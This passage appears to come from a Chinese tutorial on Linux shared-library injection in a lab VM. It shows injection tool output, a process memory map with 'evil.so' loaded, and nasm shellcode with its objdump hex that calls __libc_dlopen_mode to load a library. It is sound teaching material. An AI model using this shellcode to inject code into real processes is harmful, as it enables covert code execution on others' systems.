[*] start bucket search:
        h2: 0x29ce3720(701380384)
----------------------------------------------------------------
[+] Found 'evilfunc' at 0xb76db53b
[*] lib injection done!

#查看pid对应maps可以查看到已经加载了恶意的so
➜  inject cat /proc/24506/maps
08048000-08049000 r-xp 00000000 08:01 266876     /home/vagrant/pwn/elf/hello
08049000-0804a000 r--p 00000000 08:01 266876     /home/vagrant/pwn/elf/hello
0804a000-0804b000 rw-p 00001000 08:01 266876     /home/vagrant/pwn/elf/hello
084a2000-084c3000 rw-p 00000000 00:00 0          [heap]
b7527000-b7528000 rw-p 00000000 00:00 0
b7528000-b76d0000 r-xp 00000000 08:01 2134       /lib/i386-linux-gnu/libc-2.19.so
b76d0000-b76d1000 ---p 001a8000 08:01 2134       /lib/i386-linux-gnu/libc-2.19.so
b76d1000-b76d3000 r--p 001a8000 08:01 2134       /lib/i386-linux-gnu/libc-2.19.so
b76d3000-b76d4000 rw-p 001aa000 08:01 2134       /lib/i386-linux-gnu/libc-2.19.so
b76d4000-b76d7000 rw-p 00000000 00:00 0
b76db000-b76dc000 r-xp 00000000 00:1a 1974       /vagrant/inject/evil.so
b76dc000-b76dd000 r--p 00000000 00:1a 1974       /vagrant/inject/evil.so
b76dd000-b76de000 rw-p 00001000 00:1a 1974       /vagrant/inject/evil.so
b76de000-b76e1000 rw-p 00000000 00:00 0
b76e1000-b76e2000 r-xp 00000000 00:00 0          [vdso]
b76e2000-b7702000 r-xp 00000000 08:01 2153       /lib/i386-linux-gnu/ld-2.19.so
b7702000-b7703000 r--p 0001f000 08:01 2153       /lib/i386-linux-gnu/ld-2.19.so
b7703000-b7704000 rw-p 00020000 08:01 2153       /lib/i386-linux-gnu/ld-2.19.so
bfea3000-bfec4000 rw-p 00000000 00:00 0          [stack]
➜  inject

附录

如何生成汇编对应16进制?

这里使用 nasm 工具.

先写好汇编代码

➜ cat __libc_dlopen_mode.asm
_start: jmp string
begin: pop eax ; char *file
mov edx, 0x1 ; int mode
push edx ;
push eax ;
mov ebx, 0x12345678 ; addr of __libc_dlopen_mode()
call ebx ; call __libc_dlopen_mode()
add esp, 0x8 ; resotre stack
int3 ; breakpoint

string: call begin
db "/tmp/ourlibby.so",0x00

之后使用 nasm -f elf32 -o __libc_dlopen_mode.o __libc_dlopen_mode.asm 即可生成目标文件, 之后使用 objdump -d __libc_dlopen_mode.o 即可查看汇编对应的16进制

➜ objdump -d __libc_dlopen_mode.o

__libc_dlopen_mode.o:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:   eb 13                   jmp    15 <string>

00000002 <begin>:
   2:   58                      pop    %eax
   3:   ba 01 00 00 00          mov    $0x1,%edx
   8:   52                      push   %edx
   9:   50                      push   %eax
   a:   bb 78 56 34 12          mov    $0x12345678,%ebx
   f:   ff d3                   call   *%ebx
  11:   83 c4 08                add    $0x8,%esp
  14:   cc                      int3

00000015 <string>:
  15:   e8 e8 ff ff ff          call   2 <begin>
  1a:   2f                      das
  1b:   74 6d                   je     8a <string+0x75>
  1d:   70 2f                   jo     4e <string+0x39>
  1f:   6f                      outsl  %ds:(%esi),(%dx)
  20:   75 72                   jne    94 <string+0x7f>
  22:   6c                      insb   (%dx),%es:(%edi)
  23:   69 62 62 79 2e 73 6f    imul   $0x6f732e79,0x62(%edx),%esp
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